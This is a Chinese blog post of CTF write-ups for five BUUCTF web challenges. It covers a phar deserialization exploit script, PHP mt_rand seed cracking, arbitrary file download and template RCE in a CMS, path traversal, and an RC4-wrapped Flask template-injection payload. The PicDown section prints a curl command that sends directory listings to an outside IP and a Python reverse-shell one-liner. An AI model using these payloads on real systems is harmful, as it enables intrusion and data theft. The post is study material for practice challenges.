BUUCTF (11_22-11_26)

Posted 2021-12-23 长球的鱼

[SWPUCTF 2018]Simplephp

一开始我以为是普通的文件上传

在查看文件的页面发现url

http://73fc19e0-7526-4a41-a882-0052e60436d1.node4.buuoj.cn:81/file.php?file=

因为源码里有提示

<!--flag is in f1ag.php-->

我们试试直接访问
但发现回显hacker!

看来是行不通的

那我们先看一下file.php源码

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file))  
    echo "<h2>There is no file to show!<h2/>"; 
 
$show = new Show(); 
if(file_exists($file))  
    $show->source = $file; 
    $show->_show(); 
 else if (!empty($file)) 
    die('file doesn\\'t exists.'); 
 
?> 

其中的话，我们再看看

include 'function.php'; 
include 'class.php'; 

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do()  
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename))  
        unlink($filename); 
     
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
 
function upload_file()  
    global $_FILES; 
    if(upload_file_check())  
        upload_file_do(); 
     
 
function upload_file_check()  
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension))  
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
     
    else 
        if(in_array($extension,$allowed_types))  
            return true; 
         
        else  
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
         
     
 
?> 

class.php

<?php
class C1e4r

    public $test;
    public $str;
    public function __construct($name)
    
        $this->str = $name;
    
    public function __destruct()
    
        $this->test = $this->str;
        echo $this->test;
    

class Show

    public $source;
    public $str;
    public function __construct($file)
    
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    
    public function __toString()
    
        $content = $this->str['str']->source;
        return $content;
    
    public function __set($key,$value)
    
        $this->$key = $value;
    
    public function _show()
    
        if(preg_match('/http|https|file:|gopher|dict|\\.\\.|f1ag/i',$this->source)) 
            die('hacker!');
         else 
            highlight_file($this->source);
        
        
    
    public function __wakeup()
    
        if(preg_match("/http|https|file:|gopher|dict|\\.\\./i", $this->source)) 
            echo "hacker~";
            $this->source = "index.php";
        
    

class Test

    public $file;
    public $params;
    public function __construct()
    
        $this->params = array();
    
    public function __get($key)
    
        return $this->get($key);
    
    public function get($key)
    
        if(isset($this->params[$key])) 
            $value = $this->params[$key];
         else 
            $value = "index.php";
        
        return $this->file_get($value);
    
    public function file_get($value)
    
        $text = base64_encode(file_get_contents($value));
        return $text;
    

?>

当然，还有base.php
为了分析更方便，我直接直接放进一个文件夹里看

源码里发现了一些魔法函数，但是没有unserlize，考虑是phar文件上传

phar反序列化

大体框架

<?php
class TestObject 
//自定义构造
$phar = new Phar("phar.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub
$o = new TestObject();//自定义构造
$o -> data='cck';//自定义构造
$phar->setMetadata($o); //将自定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

分析class.php
看C1e4r类，当对象被销毁时调用__destruct函数

Show这个类,存在__tostring 当对象被当成字符串时调用 ，而在C1e4r中的echo就可以利用，

$a = new C1e4r

−>str=newShow();最后我们看Test这个魔术方法，可以看到依次调用g​et−>get−>fileg​et，在fileg​et这里存在fileg​etc​ontents这个获取文件命令的函数，这就是我们要利用的地方，所以value就是我们要读取的文件的位置,来构造另一部分链子：

$b=new Test();

$b->params[value]=’/var/www/html/f1ag.php‘之前F12里有

所以我们的思路就是C14er->Show->Test，

实在不太会写exp网上找了个

<?php
class Test

    public $str;
    public $params;
    public function __construct()
    
        $this->params = array();
    



class C1e4r

    public $test;
    public $str;



class Show

    public $source;
    public $str = array();


    $t = new Test();
    $c = new C1e4r();
    $s = new Show();
    $t->params['source'] = '/var/www/html/f1ag.php';
    $s->str['str'] = $t;
    $c->str = $s;

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    $phar->setMetadata($c); 
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
?>

后来运行EXP发现不行，发现需要将php.ini内的readonly 后面的ON成OFF
运行后生成.phar文件因为之前源码有限制，我们抓包改后缀

上传成功之后可以在upload目录下看到上传的文件

phar协议直接读取

file.php?file=phar://upload/8adc336297a3d5eb2550edc08aa372a8.jpg 

解码即为flag

[GWCTF 2019]枯燥的抽奖

猜字符串游戏(大小写字母+数字)，猜中全部20位得flag+送去非洲，你不小心偷看到了一部分是：

NssQvWQ6a1

不知所云，看看有啥提示
看源码发现有个check.php，直接访问一下

NssQvWQ6a1
<?php
#这不是抽奖程序的源代码！不许看！
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed']))
$_SESSION['seed']=rand(0,999999999);


mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ )
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       

$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";



if(isset($_POST['num']))
    if($_POST['num']===$str)x
        echo "<p id=flag>抽奖，就是那么枯燥且无味，给你flagxxxxxxxxx</p>";
    
    else
        echo "<p id=flag>没抽中哦，再试试吧</p>";
    

show_source("check.php");

大体看了一下，我认为是一个随机的种子分配一个值，我们就是要找到种子数
其中有个函数没见过

mt_srand()

mt_srand() 函数播种 Mersenne Twister 随机数生成器。mt_rand()生成随机数

php_mt_seed-4.0

首先用到一个工具php_mt_seed-4.0

这里贴一个大佬博客讲的很详细

https://www.cnblogs.com/zaqzzz/p/9997855.html
我们要先转换，把数据转能工具能解读的状态

这里直接贴一个脚本

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='NssQvWQ6a1'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):  
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

接出来

49 49 0 61 18 18 0 61 18 18 0 61 52 52 0 61 21 21 0 61 58 58 0 61 52 52 0 61 32 32 0 61 0 0 0 61 27 27 0 61 

kali先进入文件夹，然后make

之后time ./php_mt_seed 第一个随机数 

Found 0, trying 0x36000000 - 0x37ffffff, speed 45.9 Mseeds/s
seed = 0x37d845d8 = 936920536 (PHP 7.1.0+)

之后用脚本转字符

需要注意的一点是，php版本要对的上才能跑出来正确的字符,很关键的一步

<?php
mt_srand(936920536);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ )
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       

echo "<p id='p1'>".$str."</p>";
?> 

[Running] php “c:\\Users\\XINO\\Desktop\\1 (2).php”

NssQvWQ6a1O0pXe8nMxb

[Done] exited with code=0 in 0.135 seconds

直接出交上就给flag

flagc8be10cb-9d75-4cdb-85f8-d0a8e329863a

#之前没接触过这种题，https://www.cnblogs.com/zaqzzz/p/9997855.html这个大佬讲的很好

[GKCTF 2021]easycms

任意文件下载

进去就是一个类似企业的官网

该类题我都先扫描一下目录

kali扫一下

发现/admin.php

因为题目hint是后台密码为弱口令五位，盲猜12345用户名admin

进入后台,找了一会没发现啥可利用点

然而我在导出主题的时候发现下载链接

http://07ffb660-1dec-4844-a5e8-598d40d675a0.node4.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMi56aXA=

后面是base64编码

/var/www/html/system/tmp/theme/default/2.zip

那我们是不是可以直接利用这个下载flag呢
假设一下flag在根目录

&theme=base64(/flag)   //L2ZsYWcg

我们试一下

http://07ffb660-1dec-4844-a5e8-598d40d675a0.node4.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
flagc76249ce-00b2-47af-b0e7-beb62ef170da

很惊讶任意文件下载可以这么利用，学到了学到了
之后看到大佬们博客还有另外两种方法(而且还更简单)，这里简单说一下

1.编辑模板文件直接rce

即在主题自定义里可以直接添加php代码cat flag

2、文件上传+模板

后台地址admin.php扫描出来，然后弱口令admin/12345登录后台。

编辑模板处可以添加php头，但是需要在system的tmp目录下有某个txt才会生效

上传组件素材的地方通过修改名称可导致目录穿越创建文件至system目录

保存成功后即可保存另外一个模板文件，即可rce

学费了学费了

[网鼎杯 2020 白虎组]PicDown

进去后只有一个输入框

传个值进去，发现URL很有趣

http://30626b6b-0584-4963-adc4-9a93206e69f1.node4.buuoj.cn:81/page?url=123

我们根据url看看是否能够文件读取
测试了一下

?url=../../../../../etc/passwd

还真可以
那试试能读flag吗

…/…/…/…/…/flag

flagd851e218-f2e4-4e23-9e0c-6f46dfa9c17a

但感觉比赛题应该没这么简单，去看了下wp发现果然是题目漏洞

正确的做法应该是

读取这些

/proc/self/environ
/proc/self/cmdline
 读一下/proc/self/cwd/app.py 

发现代码

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)



@app.route('/')
def index():
    return render_template('search.html')



@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)



@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res



if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)
//简单审计一下，密钥在/proc/self/fd/3里面读到，然后传入密码和shell，就可以执行了

网上看大佬们有两种解法

1.curl反弹shell

?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=curl 118.***.***.***/`ls /|base64`

因为结果里有换行，日志里只能显示第一行的内容，所以还要base64加密一次

2.直接python反弹shell：

?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

然后直接读flag就可以了

[CISCN2019 华东南赛区]Double Secret

Welcome To Find Secret

页面只有这个，其他啥也没有，扫一下目录

发现/secret

Tell me your secret.I will encrypt it so others can’t see

让我们传值，随便传个试试

/secret?secret=1

回显了一个d，试了很多，发现没有啥规律，于是我就乱输了一下，出现了错报的页面
我们可以发现一些信息，该题用了flask模板‘

使用RC4加密算法，密钥为HereIsTreasure

网上有脚本可以对命令进行RC4加密

RC4加密脚本

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况，小于256不断重复填充即可
    # print("原来的 s 盒：%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒：%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串，加密后是：%res" %res)
    cipher = "".join(res)
    print("加密后的字符串是：%s" %quote(cipher))
    #print("加密后的输出(经过编码):")
    #print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()")

我们把密钥带入即可进行加密

.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

执行后即出flag
flag1ba6e37b-ec84-459a-adc5-d0ac9e965ab4